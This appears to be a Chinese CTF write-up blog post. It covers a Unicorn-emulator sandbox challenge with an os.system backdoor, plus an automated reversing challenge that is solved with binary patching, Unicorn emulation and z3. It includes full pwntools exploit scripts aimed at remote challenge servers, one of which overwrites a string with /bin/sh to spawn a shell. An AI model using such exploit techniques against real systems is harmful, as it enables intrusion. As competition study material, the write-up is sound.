MAIN = b'\x48\x83\xec\x20\x66\xc7\x44\x24\x0e\x00\x00\x48\x8d\x5c\x24\x0e\x48\xc7\x44\x24\x10\x00\x00\x00\x00\x48\xc7\x44\x24\x18\x00\x00\x00\x00\xb9\x44\x00\x00\x00\x48\x8d\x15\x8b\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xbe\x01\x00\x00\xb9\x02\x00\x00\x00\x48\x89\xda\x31\xf6\x31\xff\x31\xc0\xe8\xab\x01\x00\x00\x8a\x44\x24\x0e\x3c\x32\x74\x39\x3c\x33\x74\x62\x3c\x31\x0f\x85\x04\x01\x00\x00\xb9\x12\x00\x00\x00\x48\x8d\x15\x35\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x7a\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x12\x00\x00\x00\x48\x8d\x15\xf6\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x4d\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x07\x00\x00\x00\x48\x8d\x15\xc2\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x20\x01\x00\x00\x31\xf6\x31\xff\x48\x8d\x54\x24\x10\xb9\x08\x00\x00\x00\x31\xc0\xe8\x0b\x01\x00\x00\xb9\x07\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\x48\x8d\x15\x82\x00\x00\x00\xbf\x01\x00\x00\x00\xe8\xee\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x18\xb9\x08\x00\x00\x00\xe8\xd9\x00\x00\x00\x48\x81\x7c\x24\x18\xff\x00\x00\x00\x0f\x87\xef\xfe\xff\xff\xb9\x07\x00\x00\x00\x48\x8d\x15\x41\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xad\x00\x00\x00\x48\x8b\x4c\x24\x18\x31\xf6\x31\xff\x48\x8b\x54\x24\x10\x31\xc0\xe8\x98\x00\x00\x00\xe9\xb8\xfe\xff\xff\xbe\xff\x00\x00\x00\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x82\x00\x00\x00\xe9\xa2\xfe\xff\xff\x64\x61\x74\x61\x3a\x20\x00\x73\x69\x7a\x65\x3a\x20\x00\x61\x64\x64\x72\x3a\x20\x00\x50\x61\x74\x68\x65\x74\x69\x63\x20\x68\x75\x6d\x61\x6e\x20\x3e\x0a\x00\x50\x6f\x77\x65\x72\x66\x75\x6c\x20\x61\x64\x6d\x69\x6e\x20\x3e\x0a\x00\x57\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20\x75\x63\x5f\x6d\x61\x73\x74\x65\x65\x65\x72\x0a\x31\x2e\x20\x61\x64\x6d\x69\x6e\x20\x74\x65\x73\x74\x0a\x32\x2e\x20\x75\x73\x65\x72\x20\x74\x65\x73\x74\x0a\x33\x2e\x20\x70\x61\x74\x63\x68\x20\x64\x61\x74\x61\x0a\x3f\x3a\x20\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'
TAIL = b'\x31\xc0\xb9\x32\x00\x00\x00\x48\x8d\x15\x55\x00\x00\x00\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x18\x66\x89\x44\x24\x0e\x31\xc0\xe8\x6d\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x0e\xb9\x02\x00\x00\x00\xe8\x58\x00\x00\x00\x80\x7c\x24\x0e\x79\x75\x11\x48\x83\xc4\x18\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x10\x31\xf6\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x32\x00\x00\x00\x43\x6f\x6e\x67\x72\x61\x74\x75\x6c\x61\x74\x69\x6f\x6e\x73\x21\x20\x54\x65\x73\x74\x20\x73\x75\x63\x63\x65\x65\x64\x21\x0a\x54\x72\x79\x20\x61\x67\x61\x69\x6e\x3f\x20\x28\x79\x2f\x5b\x6e\x5d\x29\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'
ADMIN = b'\xb9\x10\x00\x00\x00\x48\x8d\x15\x37\x00\x00\x00\x31\xc0\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x08\xe8\x5f\x00\x00\x00\x48\x8d\x05\x2b\x00\x00\x00\x48\xa3\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x83\xc4\x08\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08\x49\x6d\x61\x67\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x00\x6b\x33\x33\x6e\x6c\x61\x62\x65\x63\x68\x6f\x20\x27\x6d\x6f\x72\x65\x20\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x20\x74\x68\x61\x6e\x20\x6b\x6e\x6f\x77\x6c\x65\x64\x67\x65\x2e\x27\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'.ljust(0x1000, b'\xf4')
admin_offset = CODE + 0x6b - 5
writable = []
is_admin = False
def admin_hook(uc, address, size, user_data):
global is_admin
is_admin = True
uc.mem_write(CODE + 0x1000, ADMIN)


def hook_mem_access(uc, access, address, size, value, user_data):
global is_admin
if is_admin and address == 0xbabecafe233:
is_admin = False
cmd = uc.mem_read(value, 0x100)
if cmd.startswith(b'k33nlab'):
os.system(cmd[7:cmd.index(0)].decode('utf-8'))


def _safe_mem_write(self, address, data):
end = address + len(data)
for page in writable:
if address >= page and end <= page + 0x1000:
self.mem_write(address, data)
break
else:
raise UcError(UC_ERR_WRITE_PROT)


def p64(n):
return struct.pack('<Q', n)


def init(uc):
global writable

uc.safe_mem_write = types.MethodType(_safe_mem_write, uc)

uc.mem_map(CODE, 0x1000, UC_PROT_READ | UC_PROT_EXEC)
uc.mem_write(CODE, b'\x90' * 0x1000)
uc.mem_map(CODE + 0x1000, 0x1000, UC_PROT_ALL)
uc.mem_write(CODE + 0x1000, b'\x90' * 0x1000)
uc.mem_map(CODE + 0x2000, 0x1000, UC_PROT_READ | UC_PROT_EXEC)
uc.mem_write(CODE + 0x2000, b'\x90' * 0x1000)
uc.mem_write(CODE, MAIN)
uc.mem_write(CODE + 0x2000, TAIL)

uc.mem_map(STACK, 0x1000, UC_PROT_READ | UC_PROT_WRITE)
uc.reg_write(UC_X86_REG_RSP, STACK + 0xf00)
uc.mem_write(STACK, p64(CODE + 0x1000) + p64(CODE + 0x2000) + p64(CODE))

writable = (CODE + 0x1000, STACK)

uc.hook_add(UC_HOOK_INSN, hook_syscall, None, 1, 0, UC_X86_INS_SYSCALL)
uc.hook_add(UC_HOOK_CODE, admin_hook, None, admin_offset, admin_offset + 1)
uc.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access)


def play():
uc = Uc(UC_ARCH_X86, UC_MODE_64)
init(uc)

data = os.read(0, 0x1000 - 0xd)
data += b'\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08'
uc.mem_write(CODE + 0x1000, data)

try:
uc.emu_start(CODE, CODE + 0x3000 - 1)
except UcError as e:
print("error...")


if __name__ == '__main__':
play()


题目菜单

1
2
3
4
5
Welcome to uc_masteeer
1. admin test
2. user test
3. patch data
?:

sys_call
rdi => 调用号
rsi => 参数1
rdx => 参数2
rcx => 参数3

系统调用表
0: read(fd, buf_addr, size)
1: write(fd, buf_addr, size)
60: exit(code)

admin: jmp [0xBABECAFE008] -> tail
main: jmp [0xBABECAFE000] -> admin
tail: jmp [0xBABECAFE010] -> main

main 中触发 admin 代码加载并设置 is_admin = true, 然后 jmp [0xBABECAFE000] 跳转到 admin 代码执行,admin 代码中有后门字符串,修改字符串 echo 位置为 /bin/sh.

main 触发 admin 加载后,admin 会立即执行,没有机会修改 admin 代码。

利用思路: 修改 [0xBABECAFE000] 内存为 main 地址,防止执行 admin, 进一步修改 admin 内存中的字符串为 /bin/sh , 最后[0xBABECAFE000]修改回admin的地址,通过 user test 执行 admin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
CODE = 0xdeadbeef000
context.log_level = 'debug'
#p = process(['python3', 'sb2.py'])
p=remote('111.186.59.29', 10087)
p.sendline("")
p.sendlineafter("?: \x00", "3")
p.sendafter("addr: \x00", p64(0xBABECAFE000))
p.sendafter("size: \x00", p64(0x8))
p.sendafter("data: \x00", p64(0xdeadbeef000))

p.sendlineafter("?: \x00", "1")

p.sendlineafter("?: \x00", "3")
p.sendafter("addr: \x00", p64(0xDEADBEF005A))
p.sendafter("size: \x00", p64(0x8))
p.sendafter("data: \x00", b"/bin/sh\x00")

p.sendlineafter("?: \x00", "3")
p.sendafter("addr: \x00", p64(0xBABECAFE000))
p.sendafter("size: \x00", p64(0x8))
p.sendafter("data: \x00", p64(0xdeadbef0000))

p.interactive()

FEA

给出一个连上端口后下载的文件: FEA

要求选手自动化逆向
连上端口,通过 proof 验证后,服务端发回一个 ELF 文件,需要在 10s 内提交该 ELF 解出来的 flag,一共要解3次。

简单分析服务器发回的 ELF 文件, 用 ollvm 混淆过,有两次反调试调用.
反调试函数地址: 0x400EC0 直接 patch

SMC 解密

调用SMC解密出来的代码

解密出来的代码逻辑:
从标准输入读取 8 字节数据做加密变换,再调用一个非常大的函数生成比较数据,最后比较加密后的数据是否与 8 字节的比较数据一致。

加密变换过程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
def fuckyou(a1, a2, a3, a4):
v2 = 7 * a2
print("v2 = ", hex(v2))
if v2:
v3 = (v2 & 0xffff) - (v2 >> 16)
else:
v3 = 0xfffffffa

print("v3 = ", hex(v3))

v4 = a1 + 6
print("v4 = ", hex(v4))

v5 = a4 + 5
print("v5 = ", hex(v5))
v6 = a3 * 4
print("v6 = ", hex(v6))

if v6:
v1 = (v6 & 0xffff) - (v6 >> 16)
else:
v1 = 0xFFFFFFFD

print("v1 = ", hex(v1))


v7 = ((v3 ^ v5) & 0xffff) * 3

print("v7 = ", hex(v7))

hight_v7 = v7 >> 16
low_v7 = v7 & 0xffff
tmp = low_v7 - hight_v7
v8 = tmp
print("v8 = ", hex(v8))

v9_t = (v8 + (v1 ^ v4))

v9 = v9_t & 0xffff

print("v9 = ", hex(v9))
v9_2 = v9 * 2


print("v9 * 2 = ", hex(2 * v9))

v10 = (v9_2 & 0xffff) - (v9_2 >> 16)
print("v10 = ", hex(v10))


r1 = (((v3 ^ v10) << 16 ) | (v10 ^ v5)) & 0xffffffff
r2 = (((v4 ^ (v10 + v8)) & 0xffff) << 16) | ((v1 ^ (v10 + v8) ) & 0xffff)

print("r1 = ", hex(r1))
print("r2 = ", hex(r2))

return r1, r2

用 z3 写出逆函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def fuckyouZ3(targetR1, targetR2):
a1 = BitVec("a1", 32)
a2 = BitVec("a2", 32)
a3 = BitVec("a3", 32)
a4 = BitVec("a4", 32)

v2 = 7 * a2

v3 = If(v2 != 0, (v2 & 0xffff) - (v2 >> 16), 0xfffffffa)
v4 = a1 + 6
v5 = a4 + 5
v6 = a3 * 4

v1 = If(v6 != 0, (v6 & 0xffff) - (v6 >> 16), 0xFFFFFFFD)
v7 = ((v3 ^ v5) & 0xffff) * 3

hight_v7 = v7 >> 16
low_v7 = v7 & 0xffff
tmp = low_v7 - hight_v7
v8 = tmp
v9_t = (v8 + (v1 ^ v4))
v9 = v9_t & 0xffff
v9_2 = v9 * 2

v10 = (v9_2 & 0xffff) - (v9_2 >> 16)

r1 = (((v3 ^ v10) << 16) | (v10 ^ v5)) & 0xffffffff
r2 = (((v4 ^ (v10 + v8)) & 0xffff) << 16) | ((v1 ^ (v10 + v8)) & 0xffff)

s = Solver()
s.add(a1 < 0x10000)
s.add(a2 < 0x10000)
s.add(a3 < 0x10000)
s.add(a4 < 0x10000)
s.add(0 <= a1)
s.add(0 <= a2)
s.add(0 <= a3)
s.add(0 <= a4)
s.add(r1 == targetR1)
s.add(r2 == targetR2)
assert s.check() == sat
res = s.model()
return "".join([de(res[a1].as_long()), de(res[a2].as_long()), de(res[a3].as_long()), de(res[a4].as_long())])

提取出生成的比较数据,调用 fuckyouZ3 就可以得到输入.

这道要求自动化逆向,服务器发回的 ELF 文件,比较数据计算函数代码都不一样。
为了得到比较数据,我们需要自动化:

  1. 自动化解密 SMC
  2. 自动化调用比较数据计算函数

自然想到用 unicorn 模拟执行。经过尝试,unicorn 解密 SMC 很慢,调用比较数据计算函数的速度可以接受。

尝试自动化 patch ELF 文件实现自动化SMC解密。
patch点:在 SMC 解密完成后调用 write 输出解密后的数据。

运行 patch 之后的程序,从标准输出可以得到解密后的 SMC 代码数据。

得到 SMC 代码数据后,直接用 unicorn 调用 SMC 代码中生成比较数据的函数,即可得到比较数据。
生成比较数据的函数中存在一些 int3 指令,主程序提前设置了处理 int3 的 handler,handler 中对关键数据进行变换,unicorn 中需要处理这种情况。

完整 exp 实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
from unicorn import *
from unicorn.x86_const import *
import binascii
from pwn import *
from z3 import *
def hook_code(uc, address, size, user_data):
pass

def hook_int3(uc, intro, user_data):
rip = uc.reg_read(UC_X86_REG_RIP)
deadVal = u32(uc.mem_read(0xDEAD0000, 4))
deadVal ^= 0xDEADBEEF
uc.mem_write(0xDEAD0000, p32(deadVal))


def fuck(code): # 调用 unicorn 从 smc code 中提取比较数据
CODE = 0x0
CODE_SIZE = 0x100000

DATA = 0x700000
DATA_SIZE = 0x20000

STACK = 0x7F00000000
STACK_SIZE = 0x10000

DEAD = 0xDEAD0000
DEAD_SIZE = 0x1000

uc = Uc(UC_ARCH_X86, UC_MODE_64)
uc.mem_map(CODE, CODE_SIZE, UC_PROT_ALL)
uc.mem_map(DEAD, DEAD_SIZE, UC_PROT_ALL)
uc.mem_map(STACK, STACK_SIZE, UC_PROT_ALL)
uc.mem_map(DATA, DATA_SIZE, UC_PROT_ALL)

uc.mem_write(CODE, code)
uc.reg_write(UC_X86_REG_RSP, STACK + STACK_SIZE - 0x10)

uc.hook_add(UC_HOOK_CODE, hook_code)
uc.hook_add(UC_HOOK_INTR, hook_int3)
uc.reg_write(UC_X86_REG_RDI, DATA)

uc.mem_write(STACK + STACK_SIZE - 0x10, p64(0x1447380))

try:
uc.emu_start(0, 0x1447380)
except Exception:
data = uc.mem_read(DATA, 0x8)
return u32(data[0:4]), u32(data[4:])

def de(x):
x = hex(x)[2:]
rr = x[2:] + x[0:2]
print(rr)
return rr

def fuckyouZ3(targetR1, targetR2): # 从比较数据计算输入flag
a1 = BitVec("a1", 32)
a2 = BitVec("a2", 32)
a3 = BitVec("a3", 32)
a4 = BitVec("a4", 32)

v2 = 7 * a2

v3 = If(v2 != 0, (v2 & 0xffff) - (v2 >> 16), 0xfffffffa)
v4 = a1 + 6
v5 = a4 + 5
v6 = a3 * 4

v1 = If(v6 != 0, (v6 & 0xffff) - (v6 >> 16), 0xFFFFFFFD)
v7 = ((v3 ^ v5) & 0xffff) * 3

hight_v7 = v7 >> 16
low_v7 = v7 & 0xffff
tmp = low_v7 - hight_v7
v8 = tmp
v9_t = (v8 + (v1 ^ v4))
v9 = v9_t & 0xffff
v9_2 = v9 * 2

v10 = (v9_2 & 0xffff) - (v9_2 >> 16)

r1 = (((v3 ^ v10) << 16) | (v10 ^ v5)) & 0xffffffff
r2 = (((v4 ^ (v10 + v8)) & 0xffff) << 16) | ((v1 ^ (v10 + v8)) & 0xffff)

s = Solver()
s.add(a1 < 0x10000)
s.add(a2 < 0x10000)
s.add(a3 < 0x10000)
s.add(a4 < 0x10000)
s.add(0 <= a1)
s.add(0 <= a2)
s.add(0 <= a3)
s.add(0 <= a4)
s.add(r1 == targetR1)
s.add(r2 == targetR2)
assert s.check() == sat
res = s.model()
return "".join([de(res[a1].as_long()), de(res[a2].as_long()), de(res[a3].as_long()), de(res[a4].as_long())])

from pwn import *
from hashlib import sha256,sha3_256
import string
import base64

def solve(code):
CODE_DATA = code
# 自动 patch
insCode = [0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC7, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x75, 0xE0, 0x48, 0xC7, 0xC2, 0x0, 0x0, 0x10, 0x00, 0x0F, 0x05, 0xE8, 0xAA, 0x76, 0x21, 0x00]
CODE_DATA = bytearray(CODE_DATA)
CODE_DATA[0x132E:0x132E+len(insCode)] = insCode
open("file_2",'wb').write(CODE_DATA)
os.system("chmod 777 file_2")
p = process("./file_2")
data = p.recvall()
r1, r2 = fuck(data)
print("r1=", hex(r1))
print("r2=", hex(r2))
res = fuckyouZ3(r1, r2)
return binascii.a2b_hex(res)

sh = remote('111.186.58.164',30212)
sh.recvuntil('XXXX+')
tail = sh.recvuntil(')')[:-1].decode()
print(tail)
sh.recvuntil('== ')
value = int(sh.recvuntil('\n')[:-1],16)
print(value)
xrange=string.digits+string.ascii_letters
for i in xrange:
for j in xrange:
for x in xrange:
for l in xrange:
m=(str(i)+str(j)+str(x)+str(l)+tail).encode()
if int(sha256(m).hexdigest(),16) == value:
payload1 = (str(i)+str(j)+str(x)+str(l))
print(payload1)

sh.recv()
sh.send(payload1)
sh.recvuntil('Here is your challenge:\n')
sh.recvuntil('\n')
file = sh.recvuntil('\n')[:-1]
file = base64.b64decode(file)
sh.send(solve(file))

sh.recvuntil('Here is your challenge:\n')
sh.recvuntil('\n')
file = sh.recvuntil('\n')[:-1]
file = base64.b64decode(file)
sh.send(solve(file))

sh.recvuntil('Here is your challenge:\n')
sh.recvuntil('\n')
file = sh.recvuntil('\n')[:-1]
file = base64.b64decode(file)
sh.send(solve(file))

sh.interactive()

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!